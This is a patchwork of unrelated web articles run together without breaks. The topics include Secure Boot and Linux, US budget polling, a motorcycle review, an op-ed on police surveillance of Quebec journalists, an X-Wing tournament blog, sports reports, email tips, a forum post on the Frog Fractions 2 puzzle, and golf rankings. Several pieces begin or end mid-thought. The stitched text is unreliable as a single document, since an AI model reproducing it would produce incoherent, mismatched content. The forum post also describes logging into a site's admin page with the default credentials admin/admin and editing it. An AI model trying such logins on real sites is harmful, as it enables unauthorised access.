In practice, this will probably end up harder than it looks, as one recent example drives home. The firmware-checking feature in Intel processors allows manufacturers to choose whether or not to lock CPUs down to run manufacturer-provided firmware alone. And every single hardware maker chose to lock it up tight until the free- and open-obsessed Purism recently realized that manufacturers could choose to disable the feature. There is no way to get your hands on a PC that doesn’t require proprietary firmware beyond having a boutique manufacturer like Purism build it.
All modern Intel-powered PCs required the use of proprietary firmware, until Purism realized manufacturers had the option to disable it.
There’s much more demand for Linux than free and open source processor firmware, so it probably won’t be quite as hard to find Windows 10 PCs with the option to disable Secure Boot intact—but still. It’s possible that standard laptops will be locked down tight, keeping Secure Boot enabled and not allowing you to install your own key. If you want fancy Secure Boot toggles, you may have to purchase a more expensive notebook like Dell’s “Developer Edition” line of Linux laptops. Businesses that would like such a feature may need to choose expensive business laptops. Forget just grabbing any old PC off the shelf and trying to install Linux.
But perhaps Linux will be fine!
In this future, the worst-case scenario means you’ll need to hunt down special PCs designed for Linux—ones that will likely be more expensive. Say goodbye to running Linux on all those PCs that came with Windows, just as you can’t install Linux on an iPad today. Linux PCs will exist, but they’ll be specialty, expensive bits of kit.
But is that bleak future really so possible? We’re leaving out a big piece of the puzzle here. Modern versions of some Linux distributions, including Ubuntu and Fedora, will install just fine on a Windows PC that has Secure Boot enabled. Microsoft actually signs Canonical’s Ubuntu boot loader and Fedora’s boot loader with a Microsoft corporation key.
The rise of mandatory, locked Secure Boot could create a problem for smaller Linux distributions or custom Linux systems—but the Linux Foundation Secure Boot System is a generic loader signed by Microsoft that should allow any Linux system to boot on PCs with Secure Boot enabled.
So, perhaps this isn’t a big problem. Perhaps so many of the kinks have been worked out that Microsoft can now start tightening the Secure Boot screws without locking out Linux at all. Perhaps everyone wins!
Want to stay up to date on Linux, BSD, Chrome OS, and the rest of the World Beyond Windows? Bookmark the World Beyond Windows column page or follow our RSS feed.
Even so, it’s impossible to peer into the future at this point. Will Microsoft really continue signing these Linux loaders and allowing them to function in Secure Boot mode in the future, or will they eventually stop doing that, too? If “for security reasons” is a good enough reason to block Linux from installing on a Windows RT device or Windows 10 phone, perhaps that logic will be extended to full Windows PCs in the future.
The debate over the sequester has drawn less attention than previous negotiations over the "fiscal cliff," and Americans are more willing this time to see automatic cuts go into effect. One constant, however, remains: Should the negotiations fail, Congress is poised to shoulder most of the blame. Nearly half of Americans said Republicans in Congress would be at fault if a deal isn't struck, while fewer than a third said Obama would be.
While majorities in both parties wanted to avoid the cliff, opinions are more split on the sequester -- 40 percent say Obama and Congress should let automatic cuts go into effect if they can't reach a deal, compared to 49 percent who say the cuts should be delayed.
Obama's post-election bounce in job approval has largely held, but a near-record two-thirds of Americans disapprove of Republican leaders. While 88 percent of Democrats support the president, Republicans are evenly split on whether their party's officials are doing a good job. The president is favored over the congressional GOP by wide margins on immigration and climate change, and, to a lesser extent, on gun policies and the budget deficit.
Some of that, however, is relative. Obama received less than majority approval for his handling of a wide range of issues, from foreign policy to immigration, climate change and immigration. His approval is slightly underwater on gun policy, and substantially so for his work on the economy and the deficit.
Overall, it's a sporty and handsome motorcycle, and will certainly attract attention to its target customer base - students and young executives. The headlight is sharp and edgy with two position lamps and upward facing side indicators. Then there's the LED tail light and forward leaning tank shrouds with carbon pattern tank cover adding muscle to the bike. There's a stubby exhaust lending additional muscle and covered by a brushed aluminium finished cover complementing a similar side panel.
Powering the Honda CB Hornet 160R is the same engine as the Honda CB Unicorn 160's - a 163cc single-cylinder, four-stroke engine, but it makes marginally more power at 15.7bhp and maximum torque of 14.76Nm. The engine is mated to a five-speed transmission and the engine also gets the Honda Eco Technology (HET), which HMSI says reduces friction among moving engine parts, delivering better performance and improving fuel efficiency. The engine also has a counter balancer to reduce vibrations.
Honda CB Hornet 160R 91,140 * On Road Price (New Delhi) FIND OUT MORE
The CB Hornet 160R comes fitted with a maintenance free battery and a viscous paper air filter which requires replacement only after 18,000Km. The Honda CB Hornet 160R's suspension comprises a telescopic front fork and a monoshock rear unit. Brakes are of high quality and the bike comes equipped with a petal disc at the front, and with Honda's Combined Braking System (CBS) as an option too.
Honda claims the bike also complies with BS-IV regulation norms and is one of the first motorcycles in its category to do so. The Honda CB Hornet 160R will be available in five attractive colours - Neo Orange Metallic, Pearl Amazing White, Sports Red, Pearl Siren Blue and Pearl Nightstar Black. The Honda CB Hornet 160R will compete against the likes of the Suzuki Gixxer, Yamaha FZ-FI series and the Bajaj Pulsar AS 150.
Now, be honest, as you read that sentence what countries sprang instantly to mind? Russia? Turkey? Egypt?
To be sure, doing journalism in any one of that troika of nations can be risky business, often inviting imprisonment or worse.
But the smug, widely held view that Western journalists are largely immune from the state-sanctioned perils faced by their brethren toiling in other, more repressive states has always been a reassuring myth.
In the United States, the first amendment is famously supposed to ensure, on paper at least, a "free" press, free from intimidation, censorship and reprisal.
In Canada, Section 2b of the Charter of Rights and Freedoms explicitly shields: "freedom of thought, belief, opinion and expression, including freedom of the press and other media of communication."
Journalists who don't pick at the comfortable margins, and choose, instead, to challenge the vested centres of state power, have long known that geography and the political pedigree of a government are irrelevant when it comes to official retribution.
Predictably, after an enterprising reporter pricks the empire's sensibilities, the empire routinely strikes back, invariably using all the legal and illegal tools at its disposal to establish who's the real boss.
Of course, this vindictiveness is not new.
'Enemies of state'
Because of his abiding insecurity and suspicion, Richard Nixon fashioned an "enemies" list teeming with the names of pesky, recalcitrant journalists.
Former Canadian Prime Minister Stephen Harper drafted a less well-known facsimile of, in effect, Nixon's "enemies" list brimming with people and bureaucrats his ministers were directed to shun.
Still, if "enemies" lists don't do trick, then the courts will.
The inveterate culture of impunity is endemic to police and spies no matter the ideology or country they serve, nor, it's clear, the nationality of the journalists fixed in their malevolent cross-hairs.
New York Times reporter James Risen spent seven taxing years duelling with the Obama administration in court to stay out of jail and to protect the identity of a key source central to his revelations about clandestine US efforts to disrupt Iran's nuclear ambitions.
A circumspect journalist not prone to hyperbole, Risen once described the Obama administration as "the greatest enemy of press freedom in a generation". (President-elect Donald Trump will, I'm convinced, quickly wrest that ignominy from Obama.)
If the courts don't do the trick, then the surveillance state will.
NSA whistleblower Edward Snowden has repeatedly raised the alarm that Western governments use their tools in the electronic ether principally to spy on their citizens - including journalists - and not terrorists or foreign spies.
Not an 'isolated' incident
Recently, Snowden's prescient warning was borne out when it emerged that several journalists in Quebec were spied upon by police, possibly at the behest of powerful provincial figures.
The drip, drip, drip of damning disclosures began in late October when Montreal police admitted that they had, for months, snooped on La Presse columnist, Patrick Lagace, in a futile effort to unearth sources who were leaking unflattering information to him about the police.
As part of its espionage, police stalked Lagace's incoming and outgoing telephone calls. Police also employed GPS technology to monitor Lagace's whereabouts in real time.
Montreal's police chief defended the spying by claiming investigators had obtained the necessary warrants and the leaks constituted a crime worthy of inquiry.
Lagace and his editors dismissed the police chief's exculpatory reasoning as dangerous bunk.
"If he knew one thing about freedom of expression and if he knew one thing about press freedom he would never have allowed that," Lagace said.
Meanwhile, La Presse editor-in-chief Eric Trottier denounced the police's previously secret actions as an assault on all journalists.
OPINION: Trudeau's global brand is a hot commodity
"It irredeemably compromises the confidence that must exist between a journalist and his or her source so that citizens can be informed of subjects that are in the public interest and can participate in an enlightened manner in the democratic life of the country," Trottier wrote.
The news about cops spying on scribes had just begun to reverberate inside Quebec's political and media circles when it emerged that the tally of journalists who were targets of police surveillance had mushroomed suddenly to seven.
This time, Quebec provincial police confirmed that the calls made and received by several prominent print and broadcast journalists had been tracked for more than five years in connection with a 2013 police probe that was launched, reportedly, on the same day that a high-profile union leader made a complaint.
Apparently, the once "isolated" incident was now spreading like a state-engineered virus.
One of the targeted journalists, Alain Gravel, said: "It's a shock. In a democratic society like ours, you never imagine that this thing could happen and be so systematic. It's two events now in the same week. So we're very concerned."
While I sympathise with their plight, Gravel's suggestion that systemic spying on journalists working in "democratic" societies by police and other muscular, secretive state institutions is inconceivable, borders, surprisingly, for an experienced reporter, on the naive.
Gravel's and his colleagues' experience proves that not only is Western government-approved spying on journalists plausible, it's also an inevitable institutional response to scrutiny that puts those agencies in league with the anti-democratic practices of the regimes Western journalists are so quick to expose and condemn.
Glass house meet stone.
No consequences
In any event, to staunch the metastasising scandal, the Quebec government has struck a public inquiry to examine the police forces' subterfuge, warning that "sanctions" maybe in the offing.
I'm not reassured. Public inquiries into police misconduct in Canada - whatever its nature, scope or duration - are as routine as a Trump tweet at 3am.
After receiving a stern lecture and a tepid slap on the wrist for abusing their pervasive, surreptitious powers, cops know that, in time, and with a little patience, they can safely return to covert business as usual since, ultimately, they are immune from real, lasting accountability.
This inveterate culture of impunity is endemic to police and spies - East and West, North and South - no matter the ideology or country they serve, nor, it's clear, the nationality of the journalists fixed in their malevolent cross-hairs.
Andrew Mitrovica is an award-winning investigative reporter and journalism instructor.
However, the in’s and outs of how bust the bullseye turns out to be, or whether rebels having a crazy cheap co-ordinate brings unbalance to the force, or maybe slamming missiles could be an issue… That can all wait. There’s a lot we’ll find out over the next few weeks and months and people seek potent combinations and the new meta settles in place. There are plenty of opinions available on what’s works but I expect certain things will rise to the top over time. I’ll be trying bits and pieces here and there.
This weekend was due to be a double header, firstly to Eclectic Games in Reading. Wave 12/13 is legal at this tournament and I’m going to be trying out the ship that I find the most exciting by far. The TIE Silencer.
Ok, Kylo Ren Crew is the thing I dislike most in the game. I think it is just stupidly good in lists that let you make your opponents gaming experience “less positive.” But Kylo pilot is a very different story:
Your opponent controls when the Darkside triggers.
Unless you’re using a crit mechanic (Palp, RAC, ATC, etc) then actually triggering it becomes significantly harder.
The Silencer is designed NOT to be hit so an ability that only triggers when you get hit is somewhat counter intuitive. Personally I think it is rather nicely balanced.
There are two play styles that I enjoy, the first is the joust, the line up, run at people, hit them really hard and see if you can win the damage race, if you’ve been reading this blog for a while then this will come as no surprise to you.
The other style is trying to never be shot. Since I started writing in February earlier this year arc dodgers haven’t been much of a thing. Quite simply there has been too much bombing about for them to really enjoy it. I’ve had the odd foray with some A-Wings, Poe, Corran… but for the Saturday event I’m going to use consummate arc dodgers.
We’ll start with the old guard. Soontir Fel. He was the king of X-Wing a few waves back, could the changes to bombs be bringing him back?
There are two builds with Soontir that are considered standard. They all involve:
TIE Royal Guard
Autothrusters
Push the Limit
There is the Stealth Device option, Soontir with two focus tokens and and evade token, autothrusters and four green dice is stupidly hard to kill, even without Palpatine giving him a guaranteed evade. The perk of this build is that he is massively tanky, and with a bit of luck he can even take a five dice cruise missile. However his attack consistency is not quite as potent as you need.
Which brings us to the alternative: The Targetting Computer. He hits things a lot harder, has less tokens and green dice for defense, but carries much more threat.
In a world full of big turrets, big munitions and high pilot skill, defense has to be the primary objective, so Soontir gets the stealth device and a bit more durability.
Next up we have Kylo Ren, he’s new, shiny, and has the most ridiculous dial that the world has ever seen. The Silencer is such a versatile ship. Having access to System and Tech upgrades makes the ship immensely versatile. There are so many options available but I think I’ve gone for the “obvious choice” with Advanced Sensors, Push the Limit and the Advanced Optics.
I’m pretty sure I’ll be trying other options in the coming weeks but this seems the perfect place to start.
Soontir Ren (82)
Soontir Fel Kylo Ren Push the Limit Push the Limit Autothrusters Autothrusters Stealth Device Advanced Optics Royal Guard TIE First Order Vanguard Advanced Sensors
Having not flown a proper arc dodging list for a while there’s a lot I’m going to have to remember! It’s a very different game to flying big ships like the Falcon and Slave one, so I suspect that I’m going to be somewhat out of practice. (get those excuses in early is best I feel).
Yes, there is an 18 point initiative bid in this list, yes I know I can fit in an Academy Tie and still have a 6 point bid. But that just wouldn’t be as cool… and would give my opponent 12 MOV without having to do anything! These two are hard to kill.
16 players 4 games, and lots of fun had, by the end of the day I remembered how to arc dodge and really enjoyed flying it. Despite going 3-1 and winning my 3 games 100-0 I am under no illusion that this is a genuinely competitive list.
It’s as entertaining as you like, but the second you run into something with a higher pilot skill than you it’s almost automatically game over, as proved in my second game.
Andy Henderson’s RAC with Kylo Crew and Vader has been my undoing before and was once again. The moment the pairing came up I know there was nothing I was going to be able to do to win the game except ride some fearsome luck.
I did get to show the Dark Side to the Decimator but when you have no inbuilt crit mechanic, as nice as it is to see 4 hits turn up, they won’t make the big ugly PS0… had I got that luck then the game could have been very different but but against Kylo, Rebel Captive and Gunner there is very little my two ships were able to day against higher pilot skill arc dodging and consistent dice. Soontir out up a good showing but when we shook hands at the end we both knew there was no way that match up was going to go in my favour. 100-0 loss had been all but inevitable.
Conversely the other three games I had initiative or PS advantage and the two ships were able to dodge and dance, taking it in turns to dive in and give damage out, then re-position and pick another shot. I love flying these two, but there is a lot out there that IS going to ruin their day.
Over all I came third behind Jesper Hills and Mishary Al-Faris, so I’m happy with that result. I’d like to have had the opportunity to see how these two handle multiple bombers, lots of turrets, or a swarm. 3-1 is a great start for the list but it has bigger tests to come.
Day two was meant to be a visit to The Weekend Warlords. Those guys have some of the most successful X-Wing players in the country and have been going from strength to strength over the last couple of years.
Weekend Warlords is both a shop and a (large) group of players from all over the north of the UK. There’s a lot of love between the the 186th and the Warlords, but there is also a lot of banter… and I was really looking forward to visiting their home in Loughborough.
Unfortunately 3 inches of snow fell over night which made the hour and 40 minute drive from where I was staying in Cirencester to the venue impossible, so after travelling 4 miles in 40 minutes myself and wingman Conor returned to his house for The Force Awakens on DVD and some casual games.
Hotshot Han is going to be making a comeback if arc dodgers return in force. At my suggestion (after getting repeatedly frustrated against the arc dodgers) Conor put Han and Miranda on the table and the game was arguably more uncomfortable than playing against RAC on Saturday.
I think variants of this list may be a thing in the coming weeks, and Cormac Higgins said he was retiring his version of this build after his strong showing in Belgium a few weeks ago… we’ll see.
Well Hello Kylo (100)
Han Solo (Young) Miranda Doni Veteran Instincts Twin Laser Turret Luke Skywalker Rey Hotshot Co-Pilot Engine Upgrade Millennium Falcon (HotR)
Anyway, that’s enough from me this week, looks like there are a couple more tournaments to get to this year, and I guess I better pick what to fly with Regionals and Open systems coming up!
NEXT TIME: SOMETHING WILL BE FLOWN!
Leeds maintained their unbeaten start under new boss Thomas Christiansen while inflicting a first loss of the season on Simon Grayson's Sunderland.
The visitors - without their 2016-17 top scorer Chris Wood, who is close to joining Burnley - were clinical on Wearside and deserved their victory.
Samuel Saiz's crisp low finish across goal gave them a 1-0 half-time lead.
Stuart Dallas headed in Saiz's second-half cross to secure the Whites' second league win from their first four games.
Sunderland, who had begun the day level on points with Leeds with five from a possible nine, lacked cutting edge in the final third.
The hosts' best chance came in the first half, as Lewis Grabban's effort was headed off the line and up on to the crossbar by Liam Cooper.
Leeds' victory was their second from two away games this term and came after consecutive goalless draws at home.
Christiansen's side are one of only three teams in the Championship still yet to be defeated, after four games, together with early leaders Cardiff and Ipswich.
Sunderland manager Simon Grayson told BBC Newcastle: "For 20 minutes we were dominant. We asked a lot of questions of them.
"I don't think (Liam) Cooper knew too much about it when it hit him on the head and hit the bar - 70 seconds later it's in the back of our next. Those are the fine margins in a football match.
"From then onwards, I don't think you can fault the players' effort or commitment, but it was just that final ball that really matters, when you're trying to get back in to a game."
Leeds head coach Thomas Christiansen told BBC Radio Leeds: "I don't know if it's the best performance (in my time here so far) but it comes in the best moment, especially when the team needed it.
"We had the circumstances: Barcelona for me, personally, but also for the team, that Chris Wood will leave the team.
From tips for powering through your overflowing inbox to strategies to help you get less of it in the first place to smart ways to make sure the emails you do send make a big impact, we’ve got everything you need to turn your inbox into a communication powerhouse.
Prevent follow-up emails by ending your messages with clear instructions instead of questions. Instead of saying, “Should we reconnect next week?” try, “I’ll give you a call Tuesday morning to reconnect.” If that doesn’t work, your recipient will let you know—but otherwise, you’ve prevented an unnecessary back-and-forth.
Resist the urge to respond to every email right way. As Alexandra Franzen explains , “a lot of ‘urgent’ emails tend to resolve themselves without your assistance. By choosing not to respond instantaneously, you’re training people to be more self-reliant—while creating sane, realistic expectations about how quickly you’ll be able to reply.”
Try using an email auto-responder—and not only when you’re out of the office. Your auto-response doesn’t have to be long or detailed, but a quick “Hi, I’ve received your email and will get back to you when I can!” message may keep the eager beavers from sending follow-up emails before you’ve had a chance to respond. Here’s how to set it up .
If you’re getting lots of unwanted mail from individuals, you can also try BoxBe . BoxBe uses what it calls a personalized “Guest List” to ensure that you get email from people who matter to you, while screening messages from anyone else into a separate “Waiting List.” Anyone who isn’t on your Guest List will receive a request to verify their message before it is delivered to your inbox.
The easiest way to stop getting so many emails in the first place is to unsubscribe to those dozens of newsletters you sort-of-kind-of-intended to read—but really never do. Unroll.me is the absolute easiest way to identify those suckers in your inbox—and mass unsubscribe.
Want to keep your emails both short and productive? Commit to making every message five sentences long—or less. There’s even a site that’s built to help: five.sentenc.es! As it explains, “Treat all email responses like SMS text messages, using a set number of letters per response. Since it’s too hard to count letters, we count sentences instead.” Need some advice on keeping things brief, but still polite? Elliott Bell has some great tips.
If you find yourself emailing the same messages over and over again, save templates in your drafts folder (here are 27 to start with) or take advantage of Gmail’s “Canned Responses” lab, which lets you save any number of responses and easily insert them into your emails. (See how to set it up, courtesy of Gadgetwise.)
Send a lot of emails from your phone? Try auto text, a tool that lets you type a customized abbreviation that then expands into a complete text blurb. For example, typing “rl8” can expand to “I’m running late,” which is handy when you’re running to a meeting. (Here’s how to set it up.)
Unless your job requires you to be immediately responsive to emails, set just a few times each day that you’ll check your inbox. This time can be different every day, it just has to be intentional (for example, today I’ll set aside from 9-10 AM to go through my inbox, then I’ll look at it again from 4-5).
Add two tags (or filters in Gmail) to your inbox: “quick reply” and “requires focused time.” When you know you have a solid block of uninterrupted time, start by opening your focused time folder, and decide which ones you most need to tackle. And next time you have a couple minutes to spare while waiting for the bus or in line for coffee, open your “quick reply” folder instead of checking Instagram.
What we know
The Mystery - Frog Fractions 2 was a game that was Kickstarted , but is supposed to be released under a different name and not resemble the original game at all. Kickstarter backers will not get codes or information till it is known publicly what exactly Frog Fractions 2 is. Basically any game on Windows could be Frog Fractions 2. Click to expand...
Estimated Release Date - Was estimated to be released this month. Click to expand...
A Website - In the video multiple stutters are edited in, and if you put the words after the stutters together you get the URL
The site has a few sections including hours and location:
The Ashby Brewery and Indie Game Studio
2020 Oregon Street Berkeley, CA 94703
Daily 9 Am to 9:00 Pm
A login - On the privacy
Was able to login with username: admin password: admin and edit the pages, but looks like that has been fixed? - In the video multiple stutters are edited in, and if you put the words after the stutters together you get the URL http://decaytruth.info/ which at first glance appears to be a really shitty website for the brewery.The site has a few sections including hours and location:The Ashby Brewery and Indie Game Studio2020 Oregon Street Berkeley, CA 94703Daily 9 Am to 9:00 Pm- On the privacy policy page there is a tiny pi symbol on the bottom right that takes you to an admin login page Was able to login with username: admin password: admin and edit the pages, but looks like that has been fixed? Click to expand...
At the start of bilateral talks between the United States and Georgia, the top US diplomat told Georgian Prime Minister Irakli Garibashvili that Washington was also unveiling new funding to help Tbilisi integrate with Europe.
The US supported "Georgia's participation in the EU's Eastern Partnership, and we encourage Georgia to sign an association agreement with the EU later this year," Kerry said ahead of a meeting at the State Department.
It was anger over Ukrainian leader Viktor Yanukovych's decision to tear up plans for a similar accord with the EU which triggered months of protests in Kiev, leading to the president's ouster.
"We don't make that urging for the signing of an association as some sort of zero-sum game between the East and West, or between us or any other party," Kerry insisted.
"We simply want people to be able to exercise their freedom of choice and be able to maximize their economic opportunities."
He also stressed that the US stood by NATO's decision to admit Georgia as a member of the military alliance, and said Washington would provide more aid to help the country "achieve visa-free travel with the EU and to mitigate the hardships caused by borderization along the occupied territories."
Georgia is one of six former Soviet states on Europe's eastern flank to be offered an EU agreement that includes a major free trade deal.
But Brussels in the last months saw Armenia, Azerbaijan and Belarus as well as Ukraine turn back to Moscow after being told what they stood to lose if they made the wrong choice.
Garibashvili said Georgia was very grateful for Washington's support as it moves towards the EU and NATO.
"Your support provides a powerful stimulus to our resolve to persist in the often uphill but honorable task of strengthening democracy, especially in our challenging region and especially when more than 20 percent of Georgia territory remains under Russian occupation," he told Kerry.
Georgia and Russia went to war in August 2008 over the breakaway territory of South Ossetia, which along with Abkhazia split from Tbilisi after the USSR crumbled in 1991.
Following the 2008 conflict, Russia recognized both separatist regions as independent countries and stationed thousands of troops there, in what Tbilisi considers a de facto occupation.
Garibashvili also welcomed negotiations for a free-trade agreement between the US and Georgia.
Georgia had an "exceptionally advantageous location and potential to turn into the gateway linking Europe with lucrative Chinese markets through the Caspian Sea and the Central Asia regions," he added.
Connolly’s restaurants, Bluebird Café in North Liberty and Bluebird Diner in Iowa City, serve up modern Midwestern soul food in a retro diner environment.
In his latest venture, Connolly has recreated an authentic 1980s-style video arcade that serves cool cocktails, craft beers, and a fresh take on pizza.
Connolly said the idea for Forbidden Planet, which opened Nov. 6 on the Ped Mall in Iowa City, originally came from his business partners, Luther Moss and Cory Ingle.
At the time, Moss was the manager of the Tobacco Bowl, a coffeehouse and cigar store that Connolly’s family had owned and operated for nearly 25 years. Ingle, a long-time friend of Moss, worked at the recently-closed Wedge pizzeria in downtown Iowa City.
“In the last few years, it was becoming apparent that it was time to change the business,” Connolly said of the decision to convert the Tobacco Bowl into an arcade and pizzeria. “With fewer smokers, we saw our market diminishing, but we had this great space in the middle of downtown.”
The three men decided to pull the trigger in the spring of 2014. Tobacco Bowl closed at the end of May and they spent the next five months building out the space, installing a kitchen, and buying vintage video games and pinball machines.
Their quest for arcade games took the men to places like St. Louis and Chicago where collectors had hundreds of video game machines stored in vast warehouses.
“People can be fanatical about buying, selling, and restoring video games,” Connolly said. “It’s a labor of love.”
Forbidden Planet’s collection includes four pinball machines and 10 classic video games like Pole Position, Mario Bros. and Galaga. More machines wait in storage and will be rotated in to keep things fresh.
In a throw-back to 1981, all video games cost only a quarter per play, and pinball machines are 50 cents.
Connolly and his partners are especially proud of Forbidden Planet’s pizza. The pizzeria offers deep dish and Neapolitan — or thin crust — pizzas with a large selection of toppings.
“We use fresh, local ingredients whenever we can and make the sauce and crust from scratch,” Connolly said.
Ingle, who runs the kitchen, makes the pizza dough using super fine Italian bread flour to produce a crispy crust. The pizzas are baked in a special pizza oven from a company in upstate New York.
Forbidden Planet’s menu is rounded out by a constantly changing selection of craft beers on tap, cocktails, and coffee drinks made using a traditional lever-operated espresso machine.
Earlier this month, Kassai made history, employing VAR technology to award a penalty for the Japanese club Kashima Antlers during their FIFA Club World Cup Semi-final match against Atletico Nacional of Colombia, a game that the Antlers would go on to win. This was the first-ever live-trial of video refereeing technology, and the Hungarian Kassai was the referee (check out the video of the event here).
Discussing this new way of refereeing on the show Sportvilág (Sport World), Kassai said that “VAR is a useful technology as it enables us, referees, not to make big blunders. Of course, there will still remain situations which can be judged in different ways, but cases when something is seen by everyone in the stadium except the referee will become a thing of the past.”
Via MTI and Hungary Matters
The Baywatch and Fate of the Furious star discussed his presidential aspirations in an interview for GQ‘s latest cover story, calling a run for office “a real possibility.”
“A year ago, it started coming up more and more,” Johnson told the magazine of the Washington Post op-ed piece supporting The Rock as a viable candidate. “There was a real sense of earnestness, which made me go home and think, ‘Let me really rethink my answer and make sure I am giving an answer that is truthful and also respectful.’ I didn’t want to be flippant — ‘We’ll have three days off for a weekend! No taxes!’”
Now that he’s had time to consider it, Johnson said, “I think that it’s a real possibility.”
He already has one endorsement: political filmmaker Michael Moore (Trumpland) said in May, “Think about how safe we would be if the Rock was president. Not Vin Diesel! The Rock. Or Liam Neeson, but Liam Neeson can’t run because our Constitution says you have to be born here. So who’s the American Liam Neeson that we could run? Because nobody would f— with him.”
Johnson told Vanity Fair in November, “I wouldn’t rule it out. It would be a great opportunity to help people, so it’s possible. This past election shows that anything can happen.”
To calm down, he began spinning records like an old-school party D.J., flinging his hands over electronic mixers as the walls shook with booming beats. After several minutes of this exorcism-by-noise, he let the sound die down and exhaled.
“Feels like it might work,” he said.
Compared with the mild-mannered corporate executives who usually represent Apple in public, Mr. Lowe is a new kind of animal for the company. A motormouth both on and off the air, he is an irrepressible advocate for the music he chooses to promote. And like that of the legendary BBC announcer John Peel before him, his endorsement carries major weight: Among the artists Mr. Lowe got behind early are Adele, Ed Sheeran and the Arctic Monkeys.
“Zane is a genuine enthusiast; this is not a fake thing,” said Mr. John, whose Beats 1 show, “Elton John’s Rocket Hour,” will be an eclectic mix of old songs and new. “He’s a fan, and he’s a fan who’s got the opportunity to make his position in the world work for other people. He genuinely loves music, and that’s my kind of guy.”
With the Utah Jazz Summer League beginning on Monday night, business finally looked to be picking up for the Jazz following a period of perceived inactivity. In the final hours remaining before tip-off, the organization also appears to have broken radio silence with its first signing of the summer.
According to reports, the team and restricted free agent Joe Ingles have come to terms on a two-year, $4.5 Million contract.
Joe Ingles has agreed to a two-year, $4.5M deal to return to the Jazz, league sources tell Yahoo Sports. — Adrian Wojnarowski (@WojYahooNBA) July 6, 2015
The 27-year-old Ingles started a surprising 32 games for the Jazz last year following the season-ending injury to guard Alec Burks. He became a key cog in coach Quin Snyder’s rotation, averaging five points, 2.3 assists and 2.2 rebounds per game in 21.2 minutes of play.
“Slow Mo Joe” was an important figure in the Jazz locker room and, along with Trevor Booker, one of the team’s emotional leaders on the floor. He also become a respectable threat from deep late in the season. Following the All-Star Break, Ingles connected on nearly 43 percent of his attempts from three-point range.
Absolutely pumped to be back with the @utahjazz for another 2 years! Lots of exciting times ahead with the group we have! #JazzNation A photo posted by @joeingles7 on Jul 6, 2015 at 4:34pm PDT
While many have opined that the Jazz bench lacked firepower in 2014-15 and is in need of upgrades, Ingles was a glue guy for the squad that contributed to the team’s resurgence on an intangible level. His potential return may not stop the presses, but should do well in helping the Jazz continue their upward swing.
Ever the fan favorite, Ingles’ adoring masses are already taking to Twitter with autograph requests on the eve of his Jazz return–
Can i get a autograph?? https://t.co/yTqmoCLgho — rudy gobert (@rudygobert27) July 7, 2015
Ingles can sign the actual contract on July 9 when the league’s moratorium period ends. Congrats to Big Joe on his new deal.
At the very least, fans can expect a veritable bonanza of Twitter craziness from the swingman for the next two years.
Obama will leave for Denmark Thursday night, hours after his wife Michelle departs for the vote. The president made the final decision Saturday night after returning from the G20 summit in Pittsburgh.
"The President decided over the weekend that he wanted be a part of the final push as we enter the home stretch," Jarrett told Politico.com
"He did not want to leave any stone unturned. He is very excited about joining the First Lady for both the final presentation and the question and answer session. The Olympic spirit is about giving it your very best down to finish line and not taking anything for granted. That's what his presence in Copenhagen will demonstrate."
Obama Takes a Stab at the Olympic Bid
The announcement ends months of speculation of whether the president would lend his considerable fame to the pitch. The president has dropped hints all monthlong that he may attend the event.
Last week he sent an advance team to Copenhagen just in case he could make it and a letter he wrote to select IOC members seemed to hint that he would be there.
His attendance could help catapult Chicago past Madrid, Tokyo and Rio to win the 2016 Summer Games. International Olympic Committee members will vote on which of those four cities should receive the games on October 2. NBCChicago.com will be streaming live coverage of the vote.
Olympics by the Numbers
The president "hopes to make a strong case for Chicago and America's bid for the Olympics in 2016," Press Secretary Robert Gibbs told White House reporters during a briefing on Monday morning.
"Obviously, the Olympics showcases the country that those Olympics are in and there's a tangible economic benefit to those games being here," Gibbs said.
Obama will round out a team of heavy-hitting supporters including Oprah, Valerie Jarrett, Michelle Obama and Arne Duncan.
Olympic Bid Book Presents Stunning, Inspired Chicago
The president called Mayor Richard Daley, who left for Copenhagen Friday, at 6:55 a.m. Eastern time to say that he was indeed going to Denmark.
“President Obama and First Lady Michelle Obama symbolize the hope, opportunity and inspiration that makes Chicago great, and we are honored to have two of our city’s most accomplished residents leading our delegation in Copenhagen,” Daley said in a statement.
“Who better to share with members of the International Olympic Committee the commitment and enthusiasm Chicago has for the Olympic and Paralympic Movement than the President and First Lady.”
Patrick Ryan, CEO of Chicago 2016 is equally enthused.
“There is no greater expression of the support our bid enjoys, from the highest levels of government and throughout our country, than to have President Obama join us in Copenhagen for the pinnacle moment in our bid,” Ryan said. “We are honored that President Obama and First Lady Michelle Obama will be with us to extend a hand of friendship on behalf of our nation and the City of Chicago as we seek to welcome the world for the 2016 Olympic and Paralympic Games.”
When he does get onto the paper, he is less critical, but not convinced. He describes M&W's comparison of reconstructions based on proxies to those from various forms of noise as "interesting and probably correct" but doubts its usefulness because they have used a method that is not used by paleo people. I'm not sure about this - surely if there is a real temperature signal in the proxies, they should outperform noise regardless of the method?
There is a modicum of agreement on the last part of the paper though, with Zorita agreeing with M&W's conclusion that the uncertainties in paleo reconstructions have been underestimated. However, he says that this observation is...
...hardly revolutionary. Already the NRC assessment on millennial reconstructions and other later papers indicate that the uncertainties are much larger than those included in the hockey stick and that the underestimation of past variability is ubiquitous.
Donald Trump Wins Again! Turnberry Is Our Number 1 Golf Course
Golf Monthly’s new Top 100 course rankings for the UK & Ireland hit the newsstands tomorrow – Thursday November 24 – and they will reveal that President Elect, Donald Trump, has capped an incredible year with the Ailsa Course at his Trump Turnberry Resort climbing three places to top spot.
Check out our latest Trump Turnberry Ailsa Course Review
The biennial rankings show that the revamped Ayrshire course has taken pole position following its dramatic upgrade. Contributing editor Jeremy Ellwood played the course immediately following its makeover.
Jeremy describes Turnberry “When the course re-opened this summer it was to widespread acclaim, and indeed, wonder. Martin Ebert’s design mind and handiwork have finally allowed the Ailsa to take full advantage of the wonderful Ayrshire canvas on which it is painted. It is quite simply a masterpiece.”
Golf Monthly Podcast Search for 'Golf Monthly Clubhouse' in your usual podcast provider to subscribe
Ricky Hall, director of golf at Trump Turnberry, says, “The Ailsa has always been steeped in golfing history, but now it’s a modern golfing marvel. The transformation of the course has utilised its dramatic coastline and beachscape and it now offers an unrivalled golfing experience. Such a stunning stretch of seaside holes must be unmatched in the golfing world. We feel very honoured that the course has made it to the top spot in the new Golf Monthly rankings.”
The full listings of both the UK & Ireland Top 100 Courses and Next 100 courses receive in-depth coverage in the January issue of Golf Monthly, which is on general sale from November 24th.
A full 36 pages are devoted to the rankings which, following the comprehensive review process, see six courses making the leap from the Next 100 into the Top 100.
10 great reasons to buy the new issue
On the back of this, no fewer than a dozen courses have made it into the Next 100 for the very first time.
Related: Other Courses Owned By Donald Trump
